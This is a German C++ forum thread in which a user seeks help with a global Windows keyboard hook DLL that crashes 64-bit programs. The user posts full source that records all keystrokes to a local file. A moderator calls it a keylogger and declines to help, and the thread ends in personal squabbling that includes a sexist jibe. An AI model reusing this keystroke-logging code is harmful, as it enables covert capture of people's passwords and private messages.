DLL 32/64Bit Handhabung


  • Mod

    Ich verstehe nichts von dem, was Du da schreibst. Zudem hooked eine 32bit Applikation niemals eine 64bit Anwendung.
    Wie wäre es wenn Du Dicvh einfach mal mit der Doku beschäftigen würdest?

    http://msdn.microsoft.com/en-us/library/ms644990(VS.85).aspx

    SetWindowsHookEx can be used to inject a DLL into another process. A 32-bit DLL cannot be injected into a 64-bit process, and a 64-bit DLL cannot be injected into a 32-bit process. If an application requires the use of hooks in other processes, it is required that a 32-bit application call SetWindowsHookEx to inject a 32-bit DLL into 32-bit processes, and a 64-bit application call SetWindowsHookEx to inject a 64-bit DLL into 64-bit processes. The 32-bit and 64-bit DLLs must have different names.



  • Hallo

    Bei mir hängt aber der Explorer sobald ich in einem Eingabefeld wie (start ausführen) etwas eingebe. Die DLL läuft unter Win64bit Vista in einer 32Bit Anwenduung. Und die DLL wurde auch für 32Bit Programe übersetzt.

    Wenn ich den Hook auf WinXP32Bit oder WinVista32Bit laufen lasse funktioniert der Hook einwandfrei.

    Ja die Doku habe ich gelesen danke.

    Grüsse



  • Hi

    Der hook funktioniert nur bei 64Bit OS, wen ich bei firefox etwas eingebe.
    Firefox läuft unter 32Bit App. Doch wenn ich eben zbsp. start ausführen ... dann etwas eingebe, stürtzt der System-Explorer ab.

    Ich weiss echt nicht mehr weiter ... der hook injeziere ich auch mit Admin Rechten,doch das funktioniert auch nicht.

    Wäre echt dankbar wenn mir jemand helfen könnte.

    Grüsse von der taste


  • Mod

    Dann schreib Deinen Hook richtig, oder Debugge und finde Deinen Bug.



  • hallo

    der hook hat aber keine fehler!
    unter win32xp und winvista32 funktioniert er einwandfrei.
    unter win64 auch bzw. die 32bit apps. sobald ich aber irgendwas im explorer oder in einer 64app dan stürtzt die app ab.!?

    gruss



  • werde heute nachmittag mal den code posten.
    villeicht ist ja wirklich ein fehler drin. was i h aber stark bezweifle.

    grüsse



  • So hier mal den Code. Habe zu Testzwecken die aufgezeichneten key's in eine datei gespeichert. Nach wie vor habe ich das Problem das die DLL unter XP32 und VISTA32 funktioniert. Unter VISTA64 funktioniert das so lange bis ich in einer 64Bit Anwendung bsp. System-Explorer eine Eingabe mache. Solange ich nur in einer 32Bit Anwendung unter 64Bit Os eine Eingabe mache funktioniert er einwandfrei.

    HEADER :

    #define EXPORT __declspec (dllexport)
    
    EXPORT BOOL CALLBACK installhook(void);
    
    EXPORT BOOL CALLBACK uninstallhook(void);
    

    DLL:

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    #pragma comment(linker, "/Section:.hook,RWS")
    
    #pragma bss_seg(".hook")
    HINSTANCE hinstanc;
    #pragma bss_seg()
    
    HHOOK hkb;
    FILE *log;
    
    int WINAPI DllMain(HINSTANCE hins ,DWORD fdwr ,PVOID rwd)
    {
    
        switch (fdwr){
            case DLL_PROCESS_ATTACH :
                // Die DLL wird in den Adressraum des aktuellen Prozesses
                // eingeblendet.
                hinstanc = hins ;
    
                break ;
        }
    
    	return 1;
    
    }
    
    LRESULT CALLBACK KeyboardProc(int nCode ,WPARAM wParam ,LPARAM lParam )
    {
    
        char ch;
        unsigned short w;
        unsigned int scan=0;
        char ks[256];
    
    	log = fopen("c:\\Users\\Public\\DATA\\kblog.txt","a+"); // In Windows XP und tiefer, natürlich ein anderer Pfad - hier nur zur Demonstration
            if(log == NULL) exit(1);
    
        if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) {        
            if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) {
                if (wParam==VK_RETURN) {
                    ch='\n';
                    fwrite(&ch,1,1,log);
                } else {
                    GetKeyboardState(ks);
                    ToAscii((UINT)wParam,scan,ks,&w,0);
                    ch = (char)w; 
                    fwrite(&ch,1,1,log);
                }
    
            }
    
        }
    	fclose(log);
    
        return CallNextHookEx( hkb, nCode, wParam, lParam );
    }
    
    // Install Keyboard hook Function.
    EXPORT BOOL CALLBACK installhook()
    {
    	BOOL rc=0;
    
        hkb = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hinstanc,0);
    	if(hkb==NULL){
    		rc = 1;
    	} else {
    		rc = 0;
    	}
    
        return rc;
    }
    
    // Uninstall Keyboard hook Function.
    EXPORT BOOL CALLBACK uninstallhook()
    {
    
    	return UnhookWindowsHookEx(hkb);
    }
    

    TEST MAIN:

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    int main()
    {
    
    	/* Install Keyboard Hook */
    	if( installhook() ) {
               return 0;
            }
    
    	getchar();
    
            // Uninstall
    
    	return 0;
    }
    

    gruss



  • Das Directory DATA ist schon richtig. Den es wurde von mir erstellt.

    gruss



  • @martin richter

    und was meinenst du dazu?
    muss dazu sagen, dass unter vista64 bit, die eingabe unter 64bit programmen hängt, wen ich den hook dan rasch beende werden die zeichen aber doch noch ausgegeben. wen ich aber versuche, wärend er hängt, die 64bit anwendung zu beenden, dan stürtzt es ab.

    ???


  • Mod

    Grundsätzlich:
    1. Ich mag keine Hooks und ich helfe i.A. in diesem Forum nicht in den Details. Schon gar nicht mag ich solche Key-Logger.
    2. Soclh einen Blödsinn, bei einem Fehler von fopen in den Tiefen des Hooks exit auszuführen habe ich selten gesehen.
    3. Hast Du schon mal daran gedacht zu debuggen?
    4. Hast Du schon mal daran gedacht evtl. mal nur einen anderen Prozess zu hooken und nciht alle um das zu testen und Dir das Debuggen leichter zu machen?

    Aufgrund von 1. ist für mich hier EOD



  • hatte ja geschrieben das dies nur aus testzwecken, mit fopen gemacht wurde, da ich später auf hotkeys reagieren mœchte.
    aber scheinbar ist hier deinre kompetenz zu ende.. schade.

    komisch ist einfach nur das der hook auf 32bit os's läuft nur auf 64bit os bei 64bit programmen nicht.

    taste



  • Hi

    Ich kann dir helfen..
    Deine Email?

    Zum anderen, wider mal typisch.. wens ins detail geht, scheint jeder alles zu wissen, doch eine Kompetente Antwort gibts selten.

    lowbyte



  • lowbyte_ schrieb:

    Zum anderen, wider mal typisch.. wens ins detail geht, scheint jeder alles zu wissen, doch eine Kompetente Antwort gibts selten.

    lowbyte

    Das sagt genau der richtige.... 👎

    Eine kompetente Antwort von Dir auf meine Frage nach LoadImage() bzw. LoadBitmap() steht bis heute immer noch aus.
    Sehr nebulöses Gebaren, lieber Herr lowbyte_ (oder doch ne Frau lowbyte_ ?)
    Schau mal da, angeblich alles wissend, aber nix sagend:
    http://www.c-plusplus.net/forum/viewtopic-var-t-is-273780-and-start-is-0-and-postdays-is-0-and-postorder-is-asc-and-highlight-is--and-printview-is-1-and-start-is-0.html

    Nix für ungut, aber registrier Dich mal wenigstens als anständiger User hier im Forum... 🙄
    Martin



  • hi

    sorry tut mir leid. werde dir heute nachmittag schreiben. habe das vetgessen, da ich hier im forum nicht reg. bin. deswegen musst du mich nicht gleich anfahren. werde mich heute reg.

    lowbyte



  • danke dir lowbyte.
    hier meine e-mail.
    comprog@gmx.de

    gruss



  • Hallo

    So bin nun endlich registriert.

    at: Mmacher

    Sowas kannst du wirklich nicht vergleichen ! Beim anderen Thread sprechen wir von Sicherheitslücken. Doch wenn du gerne mehr darüber erfahren möchtest, schreib mir eine E-Mail in der du dein jabber oder weis ich was ID/ADDR angibst. Dann können wir real-time darüber sprechen. Wäre mir lieber und würde mir Zeit ersparen, wenn ich den bis ins Detail gehen soll. Wen du das möchtest !?

    lowbyte



  • Mmacher schrieb:

    Sehr nebulöses Gebaren, lieber Herr lowbyte_ (oder doch ne Frau lowbyte_ ?)

    Hast dich wohl bei meinem garbage Account bei gmx reingehängt was !? 🙂
    Ist mir eigentlich egal. Wie gesagt nur Müll.

    lowbyte



  • Hi

    @Martin Richter
    Bin mit dir einer Meinung. Entschuldigung. Ich bezweifle dein Kompetenzen nicht !

    @Mmacher
    Hätte doch noch gerne gewusst woher du das Wort Frau im bezug auf lowbyte und meiner E-Mail hast, ansonnsten entschuldige ich mich hiermit.

    @tast
    Wenn du einmal soweit bist kannst du dein Problem sicher selbst lösen, aber nicht durch mich. Will hier nicht ständig der angeschissene sein !

    Und jetz ist für mich dieser Thread EOD.



  • Irgendwie zickst du rum wie ne Frau lol


Anmelden zum Antworten